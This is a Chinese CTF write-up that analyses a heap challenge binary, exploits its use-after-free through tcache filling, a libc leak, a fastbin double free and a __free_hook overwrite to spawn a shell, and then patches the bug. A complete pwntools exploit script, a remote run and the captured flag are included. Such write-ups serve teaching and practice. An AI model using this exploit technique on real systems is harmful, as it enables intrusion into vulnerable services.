该题主要考验的是对glibc的了解程度。
目录
程序功能介绍
安全防护
ex@ubuntu:~/test$ checksec chall
[*] '/home/ex/test/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
结构体
下面的结构体仅是根据行为猜测的,具体实行还需要看代码。
typedef struct container
{
char *ptr; // 8 bytes
int size; // 4 bytes
char call[12]; // 12 bytes
}container;
container *global_ptr_array[100];
功能
void __cdecl show_menu()
{
puts("======================");
puts("1.Add a girl's info");
puts("2.Show info");
puts("3.Edit info");
puts("4.Call that girl!");
puts("5.Exit lonely.");
puts("======================");
printf("Input your choice:");
}
通过反汇编可知,3号功能是假的。
主要程序
void main_function()
{
int v0; // [rsp+4h] [rbp-Ch]
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Do you wanna a girl friend?");
puts("Maybe she is hidden in the heap!");
while ( 1 )
{
show_menu();
__isoc99_scanf("%d", &v0);
getchar();
switch ( (unsigned int)off_1270 )
{
case 1u:
Add();
break;
case 2u:
Show();
break;
case 3u:
Edit(); // no use
break;
case 4u:
Call();
break;
case 5u:
puts("Goodbye~");
exit(0);
return;
default:
puts("Wrong choice!");
break;
}
}
}
Add
void __cdecl Add()
{
int temp; // ebx
container *temp_ptr; // rbx
unsigned int nbytes[3]; // [rsp+4h] [rbp-1Ch]
*(_QWORD *)nbytes = __readfsqword(0x28u);
if ( global_index > 100 )
puts("Enough!");
temp = global_index;
global_ptr_array[temp] = (container *)malloc(24uLL);
puts("Please input the size of girl's name");
__isoc99_scanf("%d", nbytes);
global_ptr_array[global_index]->size = nbytes[0];
temp_ptr = global_ptr_array[global_index];
temp_ptr->ptr = malloc((signed int)nbytes[0]);
puts("please inpute her name:");
read(0, global_ptr_array[global_index]->ptr, nbytes[0]);
puts("please input her call:");
read(0, global_ptr_array[global_index]->call, 12uLL);
global_ptr_array[global_index]->call[11] = 0;
puts("Done!");
++global_index;
}
Add主要功能是先申请一个24bytes
的chunk来存放结构体container
,然后根据用户的输入申请任意大小的chunk,由container->ptr指向该chunk。
Show
void __cdecl Show()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &index);
if ( global_ptr_array[index] )
{
puts("name:");
puts(global_ptr_array[index]->ptr);
puts("phone:");
puts(global_ptr_array[index]->call);
}
puts("Done!");
}
Show的功能主要是打印我们输入索引的ptr和call字符串。
Call
void __cdecl Call()
{
unsigned int v0; // eax
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Be brave,speak out your love!");
puts(&byte_11DE);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 99 )
exit(0);
if ( global_ptr_array[v1] )
free(global_ptr_array[v1]->ptr);
v0 = time(0LL);
srand(v0);
v2 = rand() % 10;
if ( v2 > 1 )
puts("Oh, you have been refused.");
else
puts("Now she is your girl friend!");
puts("Done!");
}
Call这里仅是free
container->ptr,而
global_ptr_array`指向的chunk并没有被释放。
分析
Call
函数有个明显的UAF
漏洞,我们可以用这个漏洞来double free
。给的glibc是有tcache机制
的,所以本来double
free应该是很简单的事情,但是给的glibc确实被改动的,在tcache机制上也加上了检查,这里需要我们重点绕过。
思路
- 突破tcache机制
- 泄露glibc基地址
- 利用UAF来double free
- 申请任意地址
- 劫持__free_hook
- getshell
为了使用指定的glibc,这里我对chall文件打了补丁,也就是对应chall_glibc文件。
对应的函数
def Add(size, name, call):
sh.sendline('1')
sh.recvuntil('Please input the size of girl\'s name\n')
sh.sendline(str(size))
sh.recvuntil('please inpute her name:\n')
sh.send(name)
sh.recvuntil('please input her call:\n')
sh.send(call)
sh.recvuntil('Input your choice:')
def Call(index, ):
sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(index))
sh.recvuntil('Input your choice:')
突破tcache机制
for _ in range(9):
Add(0x100, 'nothing', 'nothing')
for i in range(9):
Call(i)
每个tcache只有7个位置,只要占满这样空间,就可以突破tcache机制。
泄露glibc基地址
运行完突破tcache机制
部分的代码后,main_arena
的信息就会留在index为7的chunk上,下面是调试结果。
pwndbg> bin
tcachebins
0x110 [ 7]: 0x55ff73e1a9a0 —▸ 0x55ff73e1a870 —▸ 0x55ff73e1a740 —▸ 0x55ff73e1a610 —▸ 0x55ff73e1a4e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ff73e1aac0 —▸ 0x7fa528f29ca0 (main_arena+96) ◂— 0x55ff73e1aac0
smallbins
empty
largebins
empty
pwndbg>
所以我们只要把index为7的chunk的内容读出来就行了。
sh.sendline('2')
sh.sendline('7')
sh.recvuntil('name:\n')
result = sh.recvuntil('\n')[:-1]
sh.recvuntil('Input your choice:')
# 需要自己计算
main_arena_88_offset = 0x3b1ca0
libc_base = u64(result.ljust(8, '\0')) - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
main_arena = u64(result.ljust(8, '\0')) - 88
log.success('main_arena: ' + hex(main_arena))
main_arena_88_offset,是需要自己计算的,计算方法如下。
pwndbg> bin
tcachebins
0x110 [ 7]: 0x55ff73e1a9a0 —▸ 0x55ff73e1a870 —▸ 0x55ff73e1a740 —▸ 0x55ff73e1a610 —▸ 0x55ff73e1a4e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ff73e1aac0 —▸ 0x7fa528f29ca0 (main_arena+96) ◂— 0x55ff73e1aac0
smallbins
empty
largebins
empty
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55ff72c83000 0x55ff72c85000 r-xp 2000 0 /home/ex/test/girlfriend/chall_patched
0x55ff72e84000 0x55ff72e85000 r--p 1000 1000 /home/ex/test/girlfriend/chall_patched
0x55ff72e85000 0x55ff72e86000 rw-p 1000 2000 /home/ex/test/girlfriend/chall_patched
0x55ff73e1a000 0x55ff73e3b000 rw-p 21000 0 [heap]
0x7fa528b78000 0x7fa528d26000 r-xp 1ae000 0 /home/ex/test/girlfriend/lib/libc.so.6
0x7fa528d26000 0x7fa528f25000 ---p 1ff000 1ae000 /home/ex/test/girlfriend/lib/libc.so.6
0x7fa528f25000 0x7fa528f29000 r--p 4000 1ad000 /home/ex/test/girlfriend/lib/libc.so.6
0x7fa528f29000 0x7fa528f2b000 rw-p 2000 1b1000 /home/ex/test/girlfriend/lib/libc.so.6
0x7fa528f2b000 0x7fa528f2f000 rw-p 4000 0
0x7fa528f2f000 0x7fa528f56000 r-xp 27000 0 /home/ex/test/girlfriend/lib/ld-2.29.so
0x7fa529153000 0x7fa529155000 rw-p 2000 0
0x7fa529155000 0x7fa529156000 r--p 1000 26000 /home/ex/test/girlfriend/lib/ld-2.29.so
0x7fa529156000 0x7fa529157000 rw-p 1000 27000 /home/ex/test/girlfriend/lib/ld-2.29.so
0x7fa529157000 0x7fa529158000 rw-p 1000 0
0x7ffe8c66a000 0x7ffe8c68b000 rw-p 21000 0 [stack]
0x7ffe8c715000 0x7ffe8c717000 r--p 2000 0 [vvar]
0x7ffe8c717000 0x7ffe8c719000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7fa528f29ca0-0x7fa528b78000
$1 = 0x3b1ca0
利用UAF来double free
虽然我们不能用tcache
来double
free,但是我们可以突破tcache机制
,然后在fastbin上double free
就可以了,fastbin的检查并没有改变。
# 突破tcache机制
for _ in range(7+2):
Add(0x60, 'nothing', 'nothing')
for i in range(7+2):
Call(i + 9)
# Double free
Call(16)
Call(17)
Call(16)
下面是调试结果,可以看到,fastbin里面已经double free。
pwndbg> bin
tcachebins
0x70 [ 7]: 0x55bf613c7e70 —▸ 0x55bf613c7de0 —▸ 0x55bf613c7d50 —▸ 0x55bf613c7ce0 —▸ 0x55bf613c7c70 ◂— ...
0x110 [ 7]: 0x55bf613c79a0 —▸ 0x55bf613c7870 —▸ 0x55bf613c7740 —▸ 0x55bf613c7610 —▸ 0x55bf613c74e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bf613c7ef0 —▸ 0x55bf613c7f80 ◂— 0x55bf613c7ef0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
申请任意地址
首先我们要填满前面 7
个chunk,后面的chunk才是有漏洞的。然后计算出__free_hook_offset
的值,这个和上面计算main_arena_88_offset
的值方法是一样的。
for _ in range(7):
Add(0x60, 'nothing', 'nothing')
__free_hook_offset = 0x3b38c8
__free_hook_addr = libc_base + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
Add(0x60, p64(__free_hook_addr), 'nothing') # index 16
# 提前准备好参数
Add(0x60, '/bin/sh', 'nothing') # index 17
# stop
Add(0x60, 'nothing', 'nothing') # index 18
为了stop
处下断点来判断程序是否按照我们的想法进行,下面是调试代码。
pwndbg> bin
tcachebins
0x70 [ 2]: 0x55a9e15c8f00 —▸ 0x7f93f231c8c8 (__free_hook) ◂— 0x0
0x110 [ 7]: 0x55a9e15c89a0 —▸ 0x55a9e15c8870 —▸ 0x55a9e15c8740 —▸ 0x55a9e15c8610 —▸ 0x55a9e15c84e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到我们已经申请到了__free_hook
地址了,因为有tcache机制
,所以申请的时候不会fastbin
的size检查,这个还是给了我们不少便利的。
劫持__free_hook
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
Add(0x60, p64(system_addr), 'nothing') # index 18
当我们申请到了__free_hook
地址后,只要把它改成system
函数就可以了。
getshell
sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(17))
sh.interactive()
直接调用free
函数就可以触发__free_hook
,而且我们已经在申请任意地址
的时候提前准备好了字符串/bin/sh
,对应的index是17,只要free
掉该chunk,就相当于触发了system('/bin/sh')
。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
sh = process('./chall_patched')
elf = ELF('./chall_patched')
# context.log_level = "debug"
# sh = remote('34.92.96.238', 10001)
# elf = ELF('./chall')
libc = ELF('./libc.so.6')
def s():
raw_input('#')
# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
def Add(size, name, call):
sh.sendline('1')
sh.recvuntil('Please input the size of girl\'s name\n')
sh.sendline(str(size))
sh.recvuntil('please inpute her name:\n')
sh.send(name)
sh.recvuntil('please input her call:\n')
sh.send(call)
sh.recvuntil('Input your choice:')
def Call(index, ):
sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(index))
sh.recvuntil('Input your choice:')
sh.recvuntil('Input your choice:')
# 突破tcache机制
for _ in range(9):
Add(0x100, 'nothing', 'nothing')
for i in range(9):
Call(i)
# 泄露glibc基地址
sh.sendline('2')
sh.sendline('7')
sh.recvuntil('name:\n')
result = sh.recvuntil('\n')[:-1]
sh.recvuntil('Input your choice:')
# 需要自己计算
main_arena_88_offset = 0x3b1ca0
libc_base = u64(result.ljust(8, '\0')) - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
main_arena = u64(result.ljust(8, '\0')) - 88
log.success('main_arena: ' + hex(main_arena))
# 突破tcache机制
for _ in range(7+2):
Add(0x60, 'nothing', 'nothing')
for i in range(7+2):
Call(i + 9)
# Double free
Call(16)
Call(17)
Call(16)
# 申请任意地址
# 填满前面 7 个
for _ in range(7):
Add(0x60, 'nothing', 'nothing')
__free_hook_offset = 0x3b38c8
__free_hook_addr = libc_base + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
Add(0x60, p64(__free_hook_addr), 'nothing') # index 16
# 提前准备好参数
Add(0x60, '/bin/sh', 'nothing') # index 17
# stop
Add(0x60, 'nothing', 'nothing') # index 16
# 劫持__free_hook
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
Add(0x60, p64(system_addr), 'nothing') # index 18
# getshell
sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(17))
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
由于本地的网络比较堵塞,打靶机的时候一直超时,所以这里我直接上传到服务器进行getshell
的,毕竟服务器也算是一个网络有特殊优化的节点。
root@36851e23817c:~# ./exp.py
[+] Opening connection to 34.92.96.238 on port 10001: Done
[*] '/root/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[+] libc_base: 0x7f96e75df000
[+] main_arena: 0x7f96e7990c48
[+] __free_hook_addr: 0x7f96e79928c8
[+] system_addr: 0x7f96e7620c30
[*] Switching to interactive mode
$ ls
chall
flag
lib
pwn
$ cat flag
*CTF{pqyPl2seQzkX3r0YntKfOMF4i8agb56D}
$
修复
原理是在text
section的尾部写一个新的free
函数,在这个新的free函数里面进行置NULL。
patched
.text:0000000000000E64 lea rdx, ds:0[rax*8]
.text:0000000000000E6C lea rax, unk_202060
.text:0000000000000E73 mov rax, [rdx+rax]
.text:0000000000000E77 mov rax, [rax]
.text:0000000000000E7A mov rdi, rax ; ptr
.text:0000000000000E7D call _free
将0xE77
填充为nop
,这样传进函数的就是指针的指针。在把0xE7D
改成我们的新的free
函数即可。
新free函数
mov rbx, rdi
mov rdi, QWORD PTR [rdi]
call _free
mov QWORD PTR [rbx], 0
ret
将上面的函数填充至文件0x14e0
处,并patch上面的汇编代码成如下样子:
.text:0000000000000E64 lea rdx, ds:0[rax*8]
.text:0000000000000E6C lea rax, unk_202060
.text:0000000000000E73 mov rax, [rdx+rax]
.text:0000000000000E77 nop
.text:0000000000000E78 nop
.text:0000000000000E79 nop
.text:0000000000000E7A mov rdi, rax
.text:0000000000000E7D call loc_14E0
这样这个UAF
漏洞就patched掉了,本人已经把patched文件打包好,并放在上面的链接中,文件名为chall_fix
。
总结
这题还是比较难的,没有什么现成的脚本给我们魔改,需要自行摸索。
知识之间是存在联结关系的,就好像tcache其实和fastbin很像一样,所以我们只要掌握其中一种,那么另一种再学起来就会非常简单。